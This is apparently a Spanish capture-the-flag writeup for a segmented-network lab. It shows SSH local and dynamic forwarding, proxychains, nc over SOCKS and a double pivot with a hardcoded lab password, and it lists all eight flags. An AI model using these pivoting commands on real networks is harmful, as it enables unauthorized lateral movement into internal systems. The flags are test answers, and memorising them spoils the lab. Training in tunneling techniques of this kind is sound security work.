Writeup — Red segmentada
Todos los túneles y salidas son reales, ejecutados desde el contenedor atacante contra el laboratorio desplegado. Se usa sshpass para automatizar; tú puedes teclear las contraseñas.
Fase 0 — Confirmar la segmentación
Desde el atacante, las redes internas no se alcanzan; el pivote sí:
$ curl --max-time 4 http://10.13.0.10/ # corp
curl --max-time 4 http://10.14.0.30/ # deep
(timeout: no hay ruta directa a ninguna de las dos)$ ssh leo@10.12.0.2 'ip -o -4 addr' pivot: 10.12.0.2/24 (edge) pivot: 10.13.0.2/24 (corp) # el pivote sí ve la red corp
corp — un solo pivote
Reto 1 — Reenvío local (-L) a app:80
Túnel local★★
$ ssh -f -N -L 8001:10.13.0.10:80 leo@10.12.0.2 curl -s http://127.0.0.1:8001/ | grep -o 'GO{{[^}}]*}}' GO{el_tunel_local_te_lleva_dentro}
Flag: GO{el_tunel_local_te_lleva_dentro}
Reto 2 — SOCKS dinámico (-D) a app:8080
SOCKS★★
$ ssh -f -N -D 1080 leo@10.12.0.2 # /etc/proxychains4.conf -> socks5 127.0.0.1 1080 proxychains4 curl -s http://10.13.0.10:8080/ | grep -o 'GO{{[^}}]*}}' GO{socks_dinamico_alcanza_toda_la_red}
Flag: GO{socks_dinamico_alcanza_toda_la_red}
Reto 3 — proxychains por la corp (files:80)
SOCKS★★
$ proxychains4 curl -s http://10.13.0.40/ | grep -o 'GO{{[^}}]*}}' GO{proxychains_recorre_la_corp}
Flag: GO{proxychains_recorre_la_corp}
Con el mismo SOCKS del reto 2 llegas a cualquier host de la corp. También podrías haber usado -L 8002:10.13.0.40:80.
Reto 4 — Servicio web interno (db:5000)
SOCKS★★
$ proxychains4 curl -s http://10.13.0.20:5000/ | grep -o 'GO{{[^}}]*}}' GO{reenvio_a_un_servicio_web_interno}
Flag: GO{reenvio_a_un_servicio_web_interno}
Reto 5 — Puerto no-HTTP (db:9999)
SOCKS + nc★★
No todo es web. El puerto 9999 es un servicio TCP en crudo; se alcanza igual por el SOCKS con nc:
$ proxychains4 nc 10.13.0.20 9999 | grep -o 'GO{{[^}}]*}}' GO{reenvio_a_un_puerto_no_http}
Flag: GO{reenvio_a_un_puerto_no_http}
deep — doble pivote a través de app
La red deep (10.14.0.0/24) no la ve el pivote: solo la ve app, que tiene una pata en ambas redes. Como app también tiene SSH (maya), se encadena: SOCKS por el pivote y, a través de él, un SSH a app con reenvíos hacia secret.
$ ssh -f -N -D 1080 leo@10.12.0.2
proxychains4 sshpass -p 'maya-Th3-Cat!' ssh -f -N \
-L 18080:10.14.0.30:80 -L 18443:10.14.0.30:8443 -L 19000:10.14.0.30:9000 maya@10.13.0.10
(túneles establecidos a través de dos saltos)Reto 6 — secret:80 (red profunda)
Doble pivote★★★
$ curl -s http://127.0.0.1:18080/ | grep -o 'GO{{[^}}]*}}' GO{doble_pivote_a_la_red_profunda}
Flag: GO{doble_pivote_a_la_red_profunda}
Reto 7 — secret:8443
Doble pivote★★★
$ curl -s http://127.0.0.1:18443/ | grep -o 'GO{{[^}}]*}}' GO{la_red_profunda_no_se_ve_desde_fuera}
Flag: GO{la_red_profunda_no_se_ve_desde_fuera}
Reto 8 — secret:9000
Doble pivote★★★
$ curl -s http://127.0.0.1:19000/ | grep -o 'GO{{[^}}]*}}' GO{el_ultimo_salto_tambien_se_tuneliza}
Flag: GO{el_ultimo_salto_tambien_se_tuneliza}
Alternativa con ProxyJump en una línea: ssh -J leo@10.12.0.2 maya@10.13.0.10 -L 19000:10.14.0.30:9000 -N (pide la contraseña de cada salto).
Resumen
| # | Objetivo | Técnica |
|---|---|---|
| 1 | corp app:80 | ssh -L |
| 2 | corp app:8080 | ssh -D + proxychains |
| 3 | corp files:80 | proxychains (SOCKS) |
| 4 | corp db:5000 | proxychains (SOCKS) |
| 5 | corp db:9999 (TCP) | proxychains + nc |
| 6-8 | deep secret:80/8443/9000 | doble pivote (SOCKS → ssh a app → -L) |